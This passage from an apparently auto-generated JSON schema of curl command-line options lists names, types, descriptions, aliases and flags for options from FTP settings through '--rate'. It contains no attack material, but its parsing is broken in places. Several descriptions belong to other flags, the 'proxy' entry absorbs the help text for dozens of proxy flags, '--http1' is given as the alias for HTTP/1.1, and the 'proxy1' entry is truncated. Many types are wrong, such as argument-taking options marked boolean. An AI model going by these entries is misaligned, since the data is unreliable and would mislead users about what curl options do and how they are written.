        "description": "--ftp-create-dirs Create the remote dirs if not present --ftp-method <method> Control CWD usage --ftp-pasv Send PASV/EPSV instead of PORT",
        "aliases": [
          "--ftp-alternative-to-user <command>"
        ],
        "flag": "--ftp-alternative-to-user"
      },
      {
        "name": "ftp-port",
        "template_key": "ftp-port",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send PORT instead of PASV",
        "aliases": [
          "-P",
          "--ftp-port <address>"
        ],
        "flag": "-P"
      },
      {
        "name": "ftp-pret",
        "template_key": "ftp-pret",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send PRET before PASV",
        "aliases": [
          "--ftp-pret"
        ],
        "flag": "--ftp-pret"
      },
      {
        "name": "ftp-skip-pasv-ip",
        "template_key": "ftp-skip-pasv-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Skip the IP address for PASV",
        "aliases": [
          "--ftp-skip-pasv-ip"
        ],
        "flag": "--ftp-skip-pasv-ip"
      },
      {
        "name": "ftp-ssl-ccc",
        "template_key": "ftp-ssl-ccc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send CCC after authenticating",
        "aliases": [
          "--ftp-ssl-ccc"
        ],
        "flag": "--ftp-ssl-ccc"
      },
      {
        "name": "ftp-ssl-ccc-mode",
        "template_key": "ftp-ssl-ccc-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--ftp-ssl-control Require TLS for login, clear for transfer",
        "aliases": [
          "--ftp-ssl-ccc-mode <active/passive>"
        ],
        "flag": "--ftp-ssl-ccc-mode"
      },
      {
        "name": "ftp_create_dirs",
        "type": "boolean",
        "required": false,
        "description": "Create the remote dirs if not present",
        "aliases": [
          "--ftp-create-dirs"
        ],
        "flag": "--ftp-create-dirs"
      },
      {
        "name": "ftp_method",
        "type": "boolean",
        "required": false,
        "description": "Control CWD usage",
        "aliases": [
          "--ftp-method"
        ],
        "flag": "--ftp-method"
      },
      {
        "name": "ftp_pasv",
        "type": "boolean",
        "required": false,
        "description": "Send PASV/EPSV instead of PORT",
        "aliases": [
          "--ftp-pasv"
        ],
        "flag": "--ftp-pasv"
      },
      {
        "name": "ftp_ssl_control",
        "type": "boolean",
        "required": false,
        "description": "Require TLS for login, clear for transfer",
        "aliases": [
          "--ftp-ssl-control"
        ],
        "flag": "--ftp-ssl-control"
      },
      {
        "name": "get",
        "template_key": "get",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Put the post data in the URL and use GET",
        "aliases": [
          "-G",
          "--get"
        ],
        "flag": "-G"
      },
      {
        "name": "globoff",
        "template_key": "globoff",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Disable URL globbing with {} and []",
        "aliases": [
          "-g",
          "--globoff"
        ],
        "flag": "-g"
      },
      {
        "name": "happy-eyeballs-timeout-ms",
        "template_key": "happy-eyeballs-timeout-ms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--haproxy-clientip <ip> Set address in HAProxy PROXY --haproxy-protocol Send HAProxy PROXY protocol v1 header",
        "aliases": [
          "--happy-eyeballs-timeout-ms <ms>"
        ],
        "flag": "--happy-eyeballs-timeout-ms"
      },
      {
        "name": "haproxy_clientip",
        "type": "boolean",
        "required": false,
        "description": "Set address in HAProxy PROXY",
        "aliases": [
          "--haproxy-clientip"
        ],
        "flag": "--haproxy-clientip"
      },
      {
        "name": "haproxy_protocol",
        "type": "boolean",
        "required": false,
        "description": "Send HAProxy PROXY protocol v1 header",
        "aliases": [
          "--haproxy-protocol"
        ],
        "flag": "--haproxy-protocol"
      },
      {
        "name": "head",
        "template_key": "head",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show document info only",
        "aliases": [
          "-I",
          "--head"
        ],
        "flag": "-I"
      },
      {
        "name": "header",
        "template_key": "header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Pass custom header(s) to server",
        "aliases": [
          "-H",
          "--header <header/@file>"
        ],
        "flag": "-H"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Get help for commands",
        "aliases": [
          "-h",
          "--help <subject>"
        ],
        "flag": "-h"
      },
      {
        "name": "hostpubmd5",
        "template_key": "hostpubmd5",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Acceptable MD5 hash of host public key",
        "aliases": [
          "--hostpubmd5 <md5>"
        ],
        "flag": "--hostpubmd5"
      },
      {
        "name": "hostpubsha256",
        "template_key": "hostpubsha256",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Acceptable SHA256 hash of host public key",
        "aliases": [
          "--hostpubsha256 <sha256>"
        ],
        "flag": "--hostpubsha256"
      },
      {
        "name": "hsts",
        "template_key": "hsts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable HSTS with this cache file",
        "aliases": [
          "--hsts <filename>"
        ],
        "flag": "--hsts"
      },
      {
        "name": "http0",
        "template_key": "http0",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Allow HTTP/0.9 responses",
        "aliases": [
          "--http0"
        ],
        "flag": "--http0"
      },
      {
        "name": "http1",
        "template_key": "http1",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/1.0",
        "aliases": [
          "-0",
          "--http1"
        ],
        "flag": "-0"
      },
      {
        "name": "http1-2",
        "template_key": "http1-2",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/1.1",
        "aliases": [
          "--http1"
        ],
        "flag": "--http1"
      },
      {
        "name": "http2",
        "template_key": "http2",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/2",
        "aliases": [
          "--http2"
        ],
        "flag": "--http2"
      },
      {
        "name": "http2-prior-knowledge",
        "template_key": "http2-prior-knowledge",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/2 without HTTP/1.1 Upgrade",
        "aliases": [
          "--http2-prior-knowledge"
        ],
        "flag": "--http2-prior-knowledge"
      },
      {
        "name": "http3",
        "template_key": "http3",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/3",
        "aliases": [
          "--http3"
        ],
        "flag": "--http3"
      },
      {
        "name": "http3-only",
        "template_key": "http3-only",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP/3 only",
        "aliases": [
          "--http3-only"
        ],
        "flag": "--http3-only"
      },
      {
        "name": "ignore-content-length",
        "template_key": "ignore-content-length",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore the size of the remote resource",
        "aliases": [
          "--ignore-content-length"
        ],
        "flag": "--ignore-content-length"
      },
      {
        "name": "insecure",
        "template_key": "insecure",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow insecure server connections",
        "aliases": [
          "-k",
          "--insecure"
        ],
        "flag": "-k"
      },
      {
        "name": "interface",
        "template_key": "interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use network interface",
        "aliases": [
          "--interface <name>"
        ],
        "flag": "--interface"
      },
      {
        "name": "ip-tos",
        "template_key": "ip-tos",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set IP Type of Service or Traffic Class",
        "aliases": [
          "--ip-tos <string>"
        ],
        "flag": "--ip-tos"
      },
      {
        "name": "ipfs-gateway",
        "template_key": "ipfs-gateway",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Gateway for IPFS",
        "aliases": [
          "--ipfs-gateway <URL>"
        ],
        "flag": "--ipfs-gateway"
      },
      {
        "name": "ipv4",
        "template_key": "ipv4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resolve names to IPv4 addresses",
        "aliases": [
          "-4",
          "--ipv4"
        ],
        "flag": "-4"
      },
      {
        "name": "ipv6",
        "template_key": "ipv6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resolve names to IPv6 addresses",
        "aliases": [
          "-6",
          "--ipv6"
        ],
        "flag": "-6"
      },
      {
        "name": "json",
        "template_key": "json",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST JSON",
        "aliases": [
          "--json <data>"
        ],
        "flag": "--json"
      },
      {
        "name": "junk-session-cookies",
        "template_key": "junk-session-cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore session cookies read from file",
        "aliases": [
          "-j",
          "--junk-session-cookies"
        ],
        "flag": "-j"
      },
      {
        "name": "keepalive-cnt",
        "template_key": "keepalive-cnt",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum number of keepalive probes",
        "aliases": [
          "--keepalive-cnt <integer>"
        ],
        "flag": "--keepalive-cnt"
      },
      {
        "name": "keepalive-time",
        "template_key": "keepalive-time",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Interval time for keepalive probes",
        "aliases": [
          "--keepalive-time <seconds>"
        ],
        "flag": "--keepalive-time"
      },
      {
        "name": "key",
        "template_key": "key",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Private key filename",
        "aliases": [
          "--key <key>"
        ],
        "flag": "--key"
      },
      {
        "name": "key-type",
        "template_key": "key-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Private key file type (DER/PEM/ENG)",
        "aliases": [
          "--key-type <type>"
        ],
        "enum": [
          "DER",
          "PEM",
          "ENG"
        ],
        "flag": "--key-type"
      },
      {
        "name": "knownhosts",
        "template_key": "knownhosts",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify knownhosts path",
        "aliases": [
          "--knownhosts <file>"
        ],
        "flag": "--knownhosts"
      },
      {
        "name": "krb",
        "template_key": "krb",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Enable Kerberos with security <level>",
        "aliases": [
          "--krb <level>"
        ],
        "flag": "--krb"
      },
      {
        "name": "libcurl",
        "template_key": "libcurl",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Generate libcurl code for this command line",
        "aliases": [
          "--libcurl <file>"
        ],
        "flag": "--libcurl"
      },
      {
        "name": "limit-rate",
        "template_key": "limit-rate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Limit transfer speed to RATE",
        "aliases": [
          "--limit-rate <speed>"
        ],
        "flag": "--limit-rate"
      },
      {
        "name": "list-only",
        "template_key": "list-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List only mode",
        "aliases": [
          "-l",
          "--list-only"
        ],
        "flag": "-l"
      },
      {
        "name": "local-port",
        "template_key": "local-port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Use a local port number within RANGE",
        "aliases": [
          "--local-port <range>"
        ],
        "flag": "--local-port"
      },
      {
        "name": "location",
        "template_key": "location",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Follow redirects",
        "aliases": [
          "-L",
          "--location"
        ],
        "flag": "-L"
      },
      {
        "name": "location-trusted",
        "template_key": "location-trusted",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "As --location, but send secrets to other hosts",
        "aliases": [
          "--location-trusted"
        ],
        "flag": "--location-trusted"
      },
      {
        "name": "login-options",
        "template_key": "login-options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Server login options",
        "aliases": [
          "--login-options <options>"
        ],
        "flag": "--login-options"
      },
      {
        "name": "mail-auth",
        "template_key": "mail-auth",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Originator address of the original email",
        "aliases": [
          "--mail-auth <address>"
        ],
        "flag": "--mail-auth"
      },
      {
        "name": "mail-from",
        "template_key": "mail-from",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Mail from this address",
        "aliases": [
          "--mail-from <address>"
        ],
        "flag": "--mail-from"
      },
      {
        "name": "mail-rcpt",
        "template_key": "mail-rcpt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Mail to this address",
        "aliases": [
          "--mail-rcpt <address>"
        ],
        "flag": "--mail-rcpt"
      },
      {
        "name": "mail-rcpt-allowfails",
        "template_key": "mail-rcpt-allowfails",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow RCPT TO command to fail",
        "aliases": [
          "--mail-rcpt-allowfails"
        ],
        "flag": "--mail-rcpt-allowfails"
      },
      {
        "name": "manual",
        "template_key": "manual",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display the full manual",
        "aliases": [
          "-M",
          "--manual"
        ],
        "flag": "-M"
      },
      {
        "name": "max-filesize",
        "template_key": "max-filesize",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum file size to download",
        "aliases": [
          "--max-filesize <bytes>"
        ],
        "flag": "--max-filesize"
      },
      {
        "name": "max-redirs",
        "template_key": "max-redirs",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum number of redirects allowed",
        "aliases": [
          "--max-redirs <num>"
        ],
        "flag": "--max-redirs"
      },
      {
        "name": "max-time",
        "template_key": "max-time",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum time allowed for transfer",
        "aliases": [
          "-m",
          "--max-time <seconds>"
        ],
        "flag": "-m"
      },
      {
        "name": "metalink",
        "template_key": "metalink",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Process given URLs as metalink XML file",
        "aliases": [
          "--metalink"
        ],
        "flag": "--metalink"
      },
      {
        "name": "mptcp",
        "template_key": "mptcp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable Multipath TCP",
        "aliases": [
          "--mptcp"
        ],
        "flag": "--mptcp"
      },
      {
        "name": "negotiate",
        "template_key": "negotiate",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use HTTP Negotiate (SPNEGO) authentication",
        "aliases": [
          "--negotiate"
        ],
        "flag": "--negotiate"
      },
      {
        "name": "netrc",
        "template_key": "netrc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Must read .netrc for username and password",
        "aliases": [
          "-n",
          "--netrc"
        ],
        "flag": "-n"
      },
      {
        "name": "netrc-file",
        "template_key": "netrc-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify FILE for netrc",
        "aliases": [
          "--netrc-file <filename>"
        ],
        "flag": "--netrc-file"
      },
      {
        "name": "netrc-optional",
        "template_key": "netrc-optional",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use either .netrc or URL",
        "aliases": [
          "--netrc-optional"
        ],
        "flag": "--netrc-optional"
      },
      {
        "name": "next",
        "template_key": "next",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Make next URL use separate options",
        "aliases": [
          "--next"
        ],
        "flag": "--next"
      },
      {
        "name": "no-alpn",
        "template_key": "no-alpn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the ALPN TLS extension",
        "aliases": [
          "--no-alpn"
        ],
        "flag": "--no-alpn"
      },
      {
        "name": "no-buffer",
        "template_key": "no-buffer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable buffering of the output stream",
        "aliases": [
          "-N",
          "--no-buffer"
        ],
        "flag": "-N"
      },
      {
        "name": "no-clobber",
        "template_key": "no-clobber",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not overwrite files that already exist",
        "aliases": [
          "--no-clobber"
        ],
        "flag": "--no-clobber"
      },
      {
        "name": "no-keepalive",
        "template_key": "no-keepalive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable TCP keepalive on the connection",
        "aliases": [
          "--no-keepalive"
        ],
        "flag": "--no-keepalive"
      },
      {
        "name": "no-npn",
        "template_key": "no-npn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the NPN TLS extension",
        "aliases": [
          "--no-npn"
        ],
        "flag": "--no-npn"
      },
      {
        "name": "no-progress-meter",
        "template_key": "no-progress-meter",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not show the progress meter",
        "aliases": [
          "--no-progress-meter"
        ],
        "flag": "--no-progress-meter"
      },
      {
        "name": "no-sessionid",
        "template_key": "no-sessionid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable SSL session-ID reusing",
        "aliases": [
          "--no-sessionid"
        ],
        "flag": "--no-sessionid"
      },
      {
        "name": "noproxy",
        "template_key": "noproxy",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "List of hosts which do not use proxy",
        "aliases": [
          "--noproxy <no-proxy-list>"
        ],
        "flag": "--noproxy"
      },
      {
        "name": "ntlm",
        "template_key": "ntlm",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP NTLM authentication",
        "aliases": [
          "--ntlm"
        ],
        "flag": "--ntlm"
      },
      {
        "name": "ntlm-wb",
        "template_key": "ntlm-wb",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP NTLM authentication with winbind",
        "aliases": [
          "--ntlm-wb"
        ],
        "flag": "--ntlm-wb"
      },
      {
        "name": "oauth2-bearer",
        "template_key": "oauth2-bearer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "OAuth 2 Bearer Token",
        "aliases": [
          "--oauth2-bearer <token>"
        ],
        "flag": "--oauth2-bearer"
      },
      {
        "name": "out-null",
        "template_key": "out-null",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Discard response data into the void",
        "aliases": [
          "--out-null"
        ],
        "flag": "--out-null"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write to file instead of stdout",
        "aliases": [
          "-o",
          "--output <file>"
        ],
        "flag": "-o"
      },
      {
        "name": "output-dir",
        "template_key": "output-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Directory to save files in",
        "aliases": [
          "--output-dir <dir>"
        ],
        "flag": "--output-dir"
      },
      {
        "name": "parallel",
        "template_key": "parallel",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Perform transfers in parallel",
        "aliases": [
          "-Z",
          "--parallel"
        ],
        "flag": "-Z"
      },
      {
        "name": "parallel-immediate",
        "template_key": "parallel-immediate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not wait for multiplexing",
        "aliases": [
          "--parallel-immediate"
        ],
        "flag": "--parallel-immediate"
      },
      {
        "name": "parallel-max",
        "template_key": "parallel-max",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum concurrency for parallel transfers",
        "aliases": [
          "--parallel-max <num>"
        ],
        "flag": "--parallel-max"
      },
      {
        "name": "parallel-max-host",
        "template_key": "parallel-max-host",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum connections to a single host",
        "aliases": [
          "--parallel-max-host <num>"
        ],
        "flag": "--parallel-max-host"
      },
      {
        "name": "pass",
        "template_key": "pass",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Passphrase for the private key",
        "aliases": [
          "--pass <phrase>"
        ],
        "flag": "--pass"
      },
      {
        "name": "path-as-is",
        "template_key": "path-as-is",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Do not squash .. sequences in URL path",
        "aliases": [
          "--path-as-is"
        ],
        "flag": "--path-as-is"
      },
      {
        "name": "pinnedpubkey",
        "template_key": "pinnedpubkey",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Public key to verify peer against",
        "aliases": [
          "--pinnedpubkey <hashes>"
        ],
        "flag": "--pinnedpubkey"
      },
      {
        "name": "post301",
        "template_key": "post301",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not switch to GET after a 301 redirect",
        "aliases": [
          "--post301"
        ],
        "flag": "--post301"
      },
      {
        "name": "post302",
        "template_key": "post302",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not switch to GET after a 302 redirect",
        "aliases": [
          "--post302"
        ],
        "flag": "--post302"
      },
      {
        "name": "post303",
        "template_key": "post303",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not switch to GET after a 303 redirect",
        "aliases": [
          "--post303"
        ],
        "flag": "--post303"
      },
      {
        "name": "preproxy",
        "template_key": "preproxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--preproxy <[protocol://]host[:port]>"
        ],
        "flag": "--preproxy"
      },
      {
        "name": "progress-bar",
        "template_key": "progress-bar",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display transfer progress as a bar",
        "aliases": [
          "--progress-bar"
        ],
        "flag": "--progress-bar"
      },
      {
        "name": "proto",
        "template_key": "proto",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable/disable PROTOCOLS",
        "aliases": [
          "--proto <protocols>"
        ],
        "flag": "--proto"
      },
      {
        "name": "proto-default",
        "template_key": "proto-default",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Use PROTOCOL for any URL missing a scheme",
        "aliases": [
          "--proto-default <protocol>"
        ],
        "flag": "--proto-default"
      },
      {
        "name": "proto-redir",
        "template_key": "proto-redir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable/disable PROTOCOLS on redirect",
        "aliases": [
          "--proto-redir <protocols>"
        ],
        "flag": "--proto-redir"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "--proxy-anyauth Pick any proxy authentication method --proxy-basic Use Basic authentication on the proxy --proxy-ca-native Load CA certs from the OS to verify proxy --proxy-cacert <file> CA certificates to verify proxy against --proxy-capath <dir> CA directory to verify proxy against --proxy-cert <cert[:passwd]> Set client certificate for proxy --proxy-cert-type <type> Client certificate type for HTTPS proxy --proxy-ciphers <list> TLS 1.2 (1.1, 1.0) ciphers to use for proxy --proxy-crlfile <file> Set a CRL list for proxy --proxy-digest Digest auth with the proxy --proxy-header <header/@file> Pass custom header(s) to proxy --proxy-http2 Use HTTP/2 with HTTPS proxy --proxy-insecure Skip HTTPS proxy cert verification --proxy-key <key> Private key for HTTPS proxy --proxy-key-type <type> Private key file type for proxy --proxy-negotiate HTTP Negotiate (SPNEGO) auth with the proxy --proxy-ntlm NTLM authentication with the proxy --proxy-pass <phrase> Passphrase for private key for HTTPS proxy --proxy-pinnedpubkey <hashes> FILE/HASHES public key to verify proxy with --proxy-service-name <name> SPNEGO proxy service name --proxy-ssl-allow-beast Allow this security flaw for HTTPS proxy --proxy-ssl-auto-client-cert Auto client certificate for proxy --proxy-tls13-ciphers <list> TLS 1.3 proxy cipher suites --proxy-tlsauthtype <type> TLS authentication type for HTTPS proxy --proxy-tlspassword <string> TLS password for HTTPS proxy --proxy-tlsuser <name> TLS username for HTTPS proxy --proxy-tlsv1 TLSv1 for HTTPS proxy",
        "aliases": [
          "-x",
          "--proxy <[protocol://]host[:port]>"
        ],
        "flag": "-x"
      },
      {
        "name": "proxy-user",
        "template_key": "proxy-user",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "--proxy1.0 <host[:port]> Use HTTP/1.0 proxy on given port",
        "aliases": [
          "-U",
          "--proxy-user <user:password>"
        ],
        "flag": "-U"
      },
      {
        "name": "proxy1",
        "type": "boolean",
        "required": false,
        "description": ".0 <host[:port]>      Use HTTP/1.0 proxy on given port",
        "aliases": [
          "--proxy1"
        ],
        "flag": "--proxy1"
      },
      {
        "name": "proxy_anyauth",
        "type": "boolean",
        "required": false,
        "description": "Pick any proxy authentication method",
        "aliases": [
          "--proxy-anyauth"
        ],
        "flag": "--proxy-anyauth"
      },
      {
        "name": "proxy_basic",
        "type": "boolean",
        "required": false,
        "description": "Use Basic authentication on the proxy",
        "aliases": [
          "--proxy-basic"
        ],
        "flag": "--proxy-basic"
      },
      {
        "name": "proxy_ca_native",
        "type": "boolean",
        "required": false,
        "description": "Load CA certs from the OS to verify proxy",
        "aliases": [
          "--proxy-ca-native"
        ],
        "flag": "--proxy-ca-native"
      },
      {
        "name": "proxy_cacert",
        "type": "boolean",
        "required": false,
        "description": "CA certificates to verify proxy against",
        "aliases": [
          "--proxy-cacert"
        ],
        "flag": "--proxy-cacert"
      },
      {
        "name": "proxy_capath",
        "type": "boolean",
        "required": false,
        "description": "CA directory to verify proxy against",
        "aliases": [
          "--proxy-capath"
        ],
        "flag": "--proxy-capath"
      },
      {
        "name": "proxy_cert",
        "type": "boolean",
        "required": false,
        "description": "Set client certificate for proxy",
        "aliases": [
          "--proxy-cert"
        ],
        "flag": "--proxy-cert"
      },
      {
        "name": "proxy_cert_type",
        "type": "boolean",
        "required": false,
        "description": "Client certificate type for HTTPS proxy",
        "aliases": [
          "--proxy-cert-type"
        ],
        "flag": "--proxy-cert-type"
      },
      {
        "name": "proxy_ciphers",
        "type": "boolean",
        "required": false,
        "description": "TLS 1.2 (1.1, 1.0) ciphers to use for proxy",
        "aliases": [
          "--proxy-ciphers"
        ],
        "flag": "--proxy-ciphers"
      },
      {
        "name": "proxy_crlfile",
        "type": "boolean",
        "required": false,
        "description": "Set a CRL list for proxy",
        "aliases": [
          "--proxy-crlfile"
        ],
        "flag": "--proxy-crlfile"
      },
      {
        "name": "proxy_digest",
        "type": "boolean",
        "required": false,
        "description": "Digest auth with the proxy",
        "aliases": [
          "--proxy-digest"
        ],
        "flag": "--proxy-digest"
      },
      {
        "name": "proxy_header",
        "type": "boolean",
        "required": false,
        "description": "Pass custom header(s) to proxy",
        "aliases": [
          "--proxy-header"
        ],
        "flag": "--proxy-header"
      },
      {
        "name": "proxy_http2",
        "type": "boolean",
        "required": false,
        "description": "Use HTTP/2 with HTTPS proxy",
        "aliases": [
          "--proxy-http2"
        ],
        "flag": "--proxy-http2"
      },
      {
        "name": "proxy_insecure",
        "type": "boolean",
        "required": false,
        "description": "Skip HTTPS proxy cert verification",
        "aliases": [
          "--proxy-insecure"
        ],
        "flag": "--proxy-insecure"
      },
      {
        "name": "proxy_key",
        "type": "boolean",
        "required": false,
        "description": "Private key for HTTPS proxy",
        "aliases": [
          "--proxy-key"
        ],
        "flag": "--proxy-key"
      },
      {
        "name": "proxy_key_type",
        "type": "boolean",
        "required": false,
        "description": "Private key file type for proxy",
        "aliases": [
          "--proxy-key-type"
        ],
        "flag": "--proxy-key-type"
      },
      {
        "name": "proxy_negotiate",
        "type": "boolean",
        "required": false,
        "description": "HTTP Negotiate (SPNEGO) auth with the proxy",
        "aliases": [
          "--proxy-negotiate"
        ],
        "flag": "--proxy-negotiate"
      },
      {
        "name": "proxy_ntlm",
        "type": "boolean",
        "required": false,
        "description": "NTLM authentication with the proxy",
        "aliases": [
          "--proxy-ntlm"
        ],
        "flag": "--proxy-ntlm"
      },
      {
        "name": "proxy_pass",
        "type": "boolean",
        "required": false,
        "description": "Passphrase for private key for HTTPS proxy",
        "aliases": [
          "--proxy-pass"
        ],
        "flag": "--proxy-pass"
      },
      {
        "name": "proxy_pinnedpubkey",
        "type": "boolean",
        "required": false,
        "description": "FILE/HASHES public key to verify proxy with",
        "aliases": [
          "--proxy-pinnedpubkey"
        ],
        "flag": "--proxy-pinnedpubkey"
      },
      {
        "name": "proxy_service_name",
        "type": "boolean",
        "required": false,
        "description": "SPNEGO proxy service name",
        "aliases": [
          "--proxy-service-name"
        ],
        "flag": "--proxy-service-name"
      },
      {
        "name": "proxy_ssl_allow_beast",
        "type": "boolean",
        "required": false,
        "description": "Allow this security flaw for HTTPS proxy",
        "aliases": [
          "--proxy-ssl-allow-beast"
        ],
        "flag": "--proxy-ssl-allow-beast"
      },
      {
        "name": "proxy_ssl_auto_client_cert",
        "type": "boolean",
        "required": false,
        "description": "Auto client certificate for proxy",
        "aliases": [
          "--proxy-ssl-auto-client-cert"
        ],
        "flag": "--proxy-ssl-auto-client-cert"
      },
      {
        "name": "proxy_tls13_ciphers",
        "type": "boolean",
        "required": false,
        "description": "TLS 1.3 proxy cipher suites",
        "aliases": [
          "--proxy-tls13-ciphers"
        ],
        "flag": "--proxy-tls13-ciphers"
      },
      {
        "name": "proxy_tlsauthtype",
        "type": "boolean",
        "required": false,
        "description": "TLS authentication type for HTTPS proxy",
        "aliases": [
          "--proxy-tlsauthtype"
        ],
        "flag": "--proxy-tlsauthtype"
      },
      {
        "name": "proxy_tlspassword",
        "type": "boolean",
        "required": false,
        "description": "TLS password for HTTPS proxy",
        "aliases": [
          "--proxy-tlspassword"
        ],
        "flag": "--proxy-tlspassword"
      },
      {
        "name": "proxy_tlsuser",
        "type": "boolean",
        "required": false,
        "description": "TLS username for HTTPS proxy",
        "aliases": [
          "--proxy-tlsuser"
        ],
        "flag": "--proxy-tlsuser"
      },
      {
        "name": "proxy_tlsv1",
        "type": "boolean",
        "required": false,
        "description": "TLSv1 for HTTPS proxy",
        "aliases": [
          "--proxy-tlsv1"
        ],
        "flag": "--proxy-tlsv1"
      },
      {
        "name": "proxytunnel",
        "template_key": "proxytunnel",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP proxy tunnel (using CONNECT)",
        "aliases": [
          "-p",
          "--proxytunnel"
        ],
        "flag": "-p"
      },
      {
        "name": "pubkey",
        "template_key": "pubkey",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "SSH Public key filename",
        "aliases": [
          "--pubkey <key>"
        ],
        "flag": "--pubkey"
      },
      {
        "name": "quote",
        "template_key": "quote",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send command(s) to server before transfer",
        "aliases": [
          "-Q",
          "--quote <command>"
        ],
        "flag": "-Q"
      },
      {
        "name": "random-file",
        "template_key": "random-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "File for reading random data from",
        "aliases": [
          "--random-file <file>"
        ],
        "flag": "--random-file"
      },
      {
        "name": "range",
        "template_key": "range",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Retrieve only the bytes within RANGE",
        "aliases": [
          "-r",
          "--range <range>"
        ],
        "flag": "-r"
      },
      {
        "name": "rate",
        "template_key": "rate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Request rate for serial transfers",
        "aliases": [
          "--rate <max request rate>"
        ],
        "flag": "--rate"
      },
      {
        "name": "raw",
        "template_key": "raw",
